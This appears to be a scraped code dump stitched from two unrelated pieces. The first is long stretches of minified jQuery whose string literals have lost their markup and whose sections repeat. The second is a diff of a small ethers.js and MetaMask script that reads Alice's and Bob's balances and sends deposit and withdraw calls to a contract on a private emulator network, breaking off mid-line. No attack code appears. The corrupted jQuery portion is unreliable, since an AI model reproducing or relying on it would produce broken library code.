e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),v.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",v.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="
",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp(F),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+F),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t||(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,1023&n|56320))},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){T()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(t=O.call(p.childNodes),p.childNodes),t[p.childNodes.length].nodeType}catch(e){H={apply:t.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function se(t,e,n,r){var i,o,a,s,u,l,c,f=e&&e.ownerDocument,p=e?e.nodeType:9;if(n=n||[],"string"!=typeof t||!t||1!==p&&9!==p&&11!==p)return n;if(!r&&(T(e),e=e||C,E)){if(11!==p&&(u=Z.exec(t)))if(i=u[1]){if(9===p){if(!(a=e.getElementById(i)))return n;if(a.id===i)return n.push(a),n}else if(f&&(a=f.getElementById(i))&&v(e,a)&&a.id===i)return n.push(a),n}else{if(u[2])return H.apply(n,e.getElementsByTagName(t)),n;if((i=u[3])&&d.getElementsByClassName&&e.getElementsByClassName)return H.apply(n,e.getElementsByClassName(i)),n}if(d.qsa&&!N[t+" "]&&(!y||!y.test(t))&&(1!==p||"object"!==e.nodeName.toLowerCase())){if(c=t,f=e,1===p&&(U.test(t)||z.test(t))){(f=ee.test(t)&&ve(e.parentNode)||e)===e&&d.scope||((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(e){N(t,!0)}finally{s===S&&e.removeAttribute("id")}}}return g(t.replace(B,"$1"),e,n,r)}function ue(){var r=[];return function e(t,n){return r.push(t+" ")>b.cacheLength&&delete e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ye(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ve(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],y=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&y.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||y.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||y.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||y.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||y.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||y.push(".#.+[+~]"),e.querySelectorAll("\\\f"),y.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&y.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&y.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&y.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),y.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),y=y.length&&new RegExp(y.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),v=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&v(p,e)?-1:t==C||t.ownerDocument==p&&v(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!y||!y.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),v.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",v.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Xt.pop()||S.expando+"_"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Vt.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,"$1"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),v.createHTMLDocument=((Ut=E.implementation.createHTMLDocument("").body).innerHTML="
",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(v.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return B(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=_e(v.pixelPosition,function(e,t){if(t)return t=Be(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return B(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 0 { - console.log(txHash); - }).catch((error) => { - console.log(error); - }); - -} - - -async function withdraw(){ - - var value = parseInt(document.getElementById("value-box").value); - var iface = new ethers.utils.Interface(abi) - bin = iface.encodeFunctionData("withdraw",[value]); - - const transactionParameters = { - nonce: '0x00', // ignored by MetaMask - gasPrice: '0xBA43B7400', // customizable by user during MetaMask confirmation. - gas: '0x1E8480', // customizable by user during MetaMask confirmation. - to: address, // Required except during contract publications. - from: ethereum.selectedAddress, // must match user's active address. - value: '0x00', // Only required to send ether to the recipient from the initiating external account. - data: bin, // Optional, but used for defining smart contract creation and interaction. - chainId: ethereum.networkVersion, // Used to prevent transaction reuse across blockchains. Auto-filled by MetaMask. - }; - - await ethereum.request({ - method: 'eth_sendTransaction', - params: [transactionParameters], - }).then(async (txHash)=> { - console.log(txHash); - }).catch((error) => { - console.log(error); - }); - +window.onload = function(){ + init(); +} + +var contract; +var address; +var abi; + +function init(){ + + // Using ethers.js to connect to emulator network + var provider = ethers.getDefaultProvider("http://10.150.0.71:8545"); + address = document.getElementById("contract-address").innerHTML; + address = address.trim() + + // request server to get abi by address + $.ajax({ + type: "GET", + url:"/contract/api/get_abi_by_address/"+address, + data: "", + dataType: 'json', + contentType: "application/json", + precessData: false, + success: async function(response){ + abi = response.abi; + contract = new ethers.Contract(address, response.abi, provider); + }, + error: function(error){ + console.log(error); + } + }); + +} + +async function get_alice_balance(){ + var alice_balance = await contract.getAliceBalance(); + var output_area = document.getElementById("contract-call-output"); + output_area.innerHTML = alice_balance; +} + +async function get_bob_balance(){ + var bob_balance = await contract.getBobBalance(); + var output_area = document.getElementById("contract-call-output"); + output_area.innerHTML = bob_balance; +} + +async function deposit(){ + var value = parseInt(document.getElementById("value-box").value); + value *= 1000000000000000000; + var iface = new ethers.utils.Interface(abi) + bin = iface.encodeFunctionData("deposit"); + + const transactionParameters = { + nonce: '0x00', // ignored by MetaMask + gasPrice: '0xBA43B7400', // customizable by user during MetaMask confirmation. + gas: '0x1E8480', // customizable by user during MetaMask confirmation. + to: address, // Required except during contract publications. + from: ethereum.selectedAddress, // must match user's active address. + value: '0x' + value.toString(16), // Only required to send ether to the recipient from the initiating external account. + data: bin, // Optional, but used for defining smart contract creation and interaction. + chainId: ethereum.networkVersion, // Used to prevent transaction reuse across blockchains. Auto-filled by MetaMask. + }; + + await ethereum.request({ + method: 'eth_sendTransaction', + params: [transactionParameters], + }).then(async (txHash)=> { + console.log(txHash); + }).catch((error) => { + console.log(error); + }); + +} + + +async function withdraw(){ + + var value = parseInt(document.getElementById("value-box").value); + var iface = new 